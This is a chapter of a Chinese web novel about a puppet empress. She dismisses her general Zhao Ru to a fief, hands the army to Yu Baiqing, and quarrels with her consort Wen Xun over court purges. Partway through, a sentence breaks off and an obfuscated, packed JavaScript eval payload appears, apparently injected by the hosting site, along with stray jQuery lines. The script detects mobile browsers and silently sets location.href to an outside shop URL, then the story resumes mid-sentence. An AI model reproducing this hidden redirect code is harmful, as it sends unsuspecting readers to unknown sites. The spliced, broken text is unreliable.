86. 骠骑归野

作品:《傀儡女帝她不想装了

    眼下,内帑的告罄与烛阴阁的大事,都还远非李希与余诃子仅有的困境。


    改元之后的三年间,她们动作不断,看似一切顺利,实则内里暗流涌动。


    修订《婚律》以后,不出所料,民间夫妇相害的案情陡增,速度竟远比她们曾料想的还快。原以为在旧朝四百余年的“夫为妻纲”驯化之后,事态演化会更慢,但或许是姚婴当政的这些年,儒道的训诫早已在暗中松动,外加华晋与吴阿四配合得宜,民间以女为本的声浪渐起。


    而女子们的“反叛”与颠覆越是剧烈,父与夫们的打压自然也越发剧烈。


    与此声浪一同崛起的是朝野内外男子们的怨愤。朝中的男臣们聚集了一股不小的势力,主张废除《婚律》改动,恢复田产唯男子私有、唯男丁继承的旧制。


    这看似与前线无关,却又恰恰息息相关。如今李希之所以能将这些声音都镇压下去,正是因为征战使得海内经济的重担尚落在女儿们的肩头。


    而一旦战事停歇,兵丁回朝,必然头一桩便是闹事要回女子们还未拿稳的资产与权利。


    一旦如此,她们此前的努力都将毁于一旦。


    所以战争不能停,如若要停,也必须等到女帝手中握住了火药——这等由女子所造为女子所控,却无论落在男女身上,都能无视当下的体力差距,一视同仁的杀、器之后。


    余白青听过不禁沉默。迟疑许久,她终于道:


    “可无拂那边,此番是说不动她的。我该试的法子都试过了,她不仅犯了犟,更是在与她生母较劲。”


    余诃子头疼道:


    “那倘若从她生母那头着手呢?”


    余白青摇头:


    “试过了。楚新也未曾料到她的话会造成这般影响,得知之后很是配合地试图补救。不论是怀柔,还是顺着无拂试图激起她逆反,都毫无作用。”


    三年前,余白青对赵如最大的担忧变成了现实,而如今即便是她就在身边看着,也拉不回这头倔驴。


    这世上对赵如影响最大的无非只有三人,余白青是其一,可余下的二人偏偏正是她那对父兄。


    李希平日太过纵着她,以至于她虽与李希感情甚笃,却并不是那么听她的话。


    “当真没有别的法子了吗?”余诃子问过这一句,正见李希小憩过后披着外袍走在廊下。


    “没有法子,便罢了吧。”她苍白着脸,出乎意料地道,“无拂那性子,我们早都设想过会有这一天,只是不曾想到偏偏是现在。”


    她抬眸望来:


    “白青,无拂的担子,你能担下吗?”


    余白青一震,霎时生出滔天的惊慌。


    可望入李希疲惫的眼中,她胸口一痛,焉还能说得出旁的话。


    “我……我可以,二娘。”


    三日之后,李希设宴犒赏三军,降旨加封赵如为“骠骑将军”,赐封地于宁州诏郡,食邑万户,已尽封赏之极。


    然震惊朝野的并非这一条,而是这道本朝头一道封“骠骑”的圣旨,还附带了另一道。


    ——念骠骑将军三年远征之劳苦,遣其归返封地休养,再候诏命。


    另一头,余白青也得加封为“卫将军”,论爵位在军中仅处赵如之下。赵如前往封地之后,将由余白青接任远征军主帅。


    朝中无人能看懂这道旨意。


    愚笨些的,只道是帝王忌惮战神功高盖主,卸磨杀驴。


    聪颖些的,倒能从中看出这两道旨意之割裂,诡异得不像出自他们所认识的这位皇帝之手。


    皇帝明显不打算放弃远征,仍然以之为国家要务,却为何会在此时机突然换帅,行此不智之举?便是鸟尽弓藏,也得先鸟尽啊。


    赵如离开的前一日,李希将她召到寝宫。


    “我便不去送你了。”她道,“朝中诸多猜测,便由得他们猜去吧。”


    赵如垂着头偷瞟她。


    “想说什么就说。”她冷笑一声,“再不说就没机会了。”


    “……谢谢。”赵如在桌案底下抠着手指。


    李希看也不看她,却知她谢的不是放她离开,而是谢她封她为骠骑。


    那是赵如自幼的梦想。她自己都快忘了,李希却还记得。


    李希面色不变,抿了口茶汤:


    “那是你应得的。”


    两人又陷入沉默。


    少顷,赵如几度欲言又止,终于勉强开口道:


    “……我不能留在京中吗?”


    听她这样说,李希有一瞬心软,却也只是一瞬。


    倘若她以为赵如留京的要求是不舍得她与余白青,那便是太过自作多情了。赵如连年在外征战,早已习惯了与她们分别。


    她不愿走,是因为她想卸甲本就是为父兄,可如今她奉命退居封地,父兄却仍在京中,也并未能接任征西军。


    “不能。”李希断然道,随即她带着几分恶意,“但你大可以将你的赵氏都迁去宁州,我又不会拦你。”


    哪知赵如好似还不如李希了解她父兄,竟眼前一亮,觉得这也是良策:


    “真的可以吗?”


    李希这才转回眼看她,恬淡一笑:


    “自然可以。”


    赵如不知李希心中所想,只道如此虽然不能成全父兄的心愿,但好歹可以将他们接到身边奉养。一喜过后,情绪也松懈下来,看着李希试探道:


    “白青说我这次给你添了不少麻烦,你……你怨我吗?”


    李希自然是怨的。可比起赵如,她更怨自己。她太过沉浸于她们之间的情谊,却因而忽视了赵如自身的性情,也忽视了赵如本就和她、和余白青,也和朝中诸多女臣并不一样。


    她领兵的天赋太过惊才绝艳,思维却简单直接。她看似看过天高地广,可她的心其实始终只有一方小小的天地。


    从前是赵府内宅,后来是被她用无形的线圈住的一小群人,有她自己,有李希,有余白青、父兄和舅舅。除此之外,再无旁人。


    所以她不会理解李希她们的理想,也并不能共情她们所作的事多么重要,多么改变世间。


    赵如带兵打仗是因为她喜欢,就像她认为李希做皇帝是因为“喜欢”做皇帝一样。


    可即便喜欢的事她也并非不能放弃。所以在她看来,即便有一日李希不能再做皇帝,那也并没有什么大不了的。


    她们还可以一起去找其它喜欢的事。


    眼下她们之间的矛盾,也不过是李希如往常一般生一生她的气而已。


    这样的赵如,李希有何立场去怨她?是怨她不能把她们其她人在意的事当成自己在意的事?还是怨她不肯为了她们其她人的理想继续沙场拼杀?


    怎么想,混、蛋的那个都是她自己。


    李希长长一叹。


    “不怨你。”


    赵如便求和似的来拉她的手,拉住以后还晃了晃。


    “那你别生气了……”


    “不可能!我还要气很久。”


    赵如扁了扁嘴,见李希恶狠狠地瞪过来:


    “你别想着去了封地便一了百了了。我只是让你去休养,可不是真的准你卸甲。”


    她这样说,赵如却并未当真,还笑嘻嘻地点头敷衍。


    李希翻了个白眼,赏她一个爆栗。


    赵如终是没能带她父兄离开,因为他们绝不可能舍得离开天下政局的中心。


    可她自我安慰,虽然仍与他们分割两地,至少她不再是撇下他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082053|184013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们高飞,她和那个女人不一样。


    往后便是不在一处,她也可以做他们理想中的女儿与妹妹。


    而她一去,李希全然来不及收拾空落落的心情。


    赵如的隐退留下了一个烂摊子,军中的士气可以交由余白青收拾。


    但朝中,此前令李希犹豫不决的,隐患重重的田税之策,如今却变成了不可不为。


    因为眼下已不光是烛阴阁需要银钱,她还需要为初为主帅的余白青,留出犯错的冗余。


    下旨的那一日,朝会上寒门与新皇党吵翻了天,世家则揣手在一旁看寒门的笑话。这一劫,他们早在三年前就已经历过一遍了。


    此后,李希频频召见吴阿四,命她密切监察各州郡状况。朝中则有吴薇出手,领着粉君们四处抓捕,胆敢议论者,凡被撞破,立即下狱。


    数月间,朝中仿佛又迎来了一次酷吏清洗,只是这一次不再是针对世家,而是百千寒门。


    李希满腔的不安与沉重难以排解,拉着温逊温存了一遍又一遍。


    可这一日他捧着她的脸拉开距离。


    “陛下……”


    她目光顿时一暗,从他身上退开。


    “我不想听……”


    “不能容吴危再这样闹下去了。”


    李希冷脸看他。


    “我说了我不想听。”


    温逊默了一瞬,还是道:


    “此事不是不说便不存在的。”


    李希笑了。


    “那你说我应当如何?把吴薇抓来杀了?你只说吴薇闹腾,可先闹腾的是谁?不是正因为你们寒门在闹吗?否则何来她的用武之地?”


    “……寒门会闹,不是因为你的政令吗?”


    这回她气笑了。


    “行,那都是我的错,我是不是该下个罪己诏来平息你们寒门的怒火啊?”


    “陛下!寒门也是陛下的寒门,是陛下的子民!所谓‘你我’之分,朝臣们说得,陛下却说不得!”


    “呵,那寒门当我是你们的皇帝了吗?”


    温逊顿时失言。他无法否认便是他的心是向着她的,底下的明党却从未放弃过异心。


    李希阖上眼。


    “你走吧。”


    温逊低头攥紧了拳。


    “那吴危他……”


    “你心知肚明她只是按我的意思办事。”


    “你就非要这样保他?”


    李希一滞,抬眼看他神色便顿时明白了。他想除掉吴薇,不仅为公,还为私。


    她无奈地揉揉眉心,见他倔强地一下一下眨巴着眼瞪她。


    “你明知我与她没有什么,我身边一直只有你一个。”


    温逊收回目光,心里憋闷,脸上却强撑着一副大义凛然。


    “我是就事论事。你莫要扯别的。”


    吴危入朝已三年有余,他自然知道外间传言的吴危与皇帝的首尾都是幌子、是无稽之谈,甚至时常被李希刻意用来给她们两人作遮掩。


    可那样一个神仙人物日日在她眼前晃悠,叫他如何能安心?


    便是他努力克制一颗想要独占的心,也不免偶尔露出马脚来。比如现在。


    他这别扭模样,看得李希顿时破了功,没忍住笑出了声。


    温逊却生气了:


    “吵架呢,你认真点!”


    李希叉腰。


    “你现在知道是吵架了?方才不是说是就事论事吗?就的哪件事?你吃飞醋的事?”


    温逊理亏不语,张开手臂抱住她。


    可她们因这番打岔而好转的气氛,骤然被殿外一声通传打断。


    李希拉开距离,朝门外应声,便见吴阿四领着一个意料之外的人,推门而入。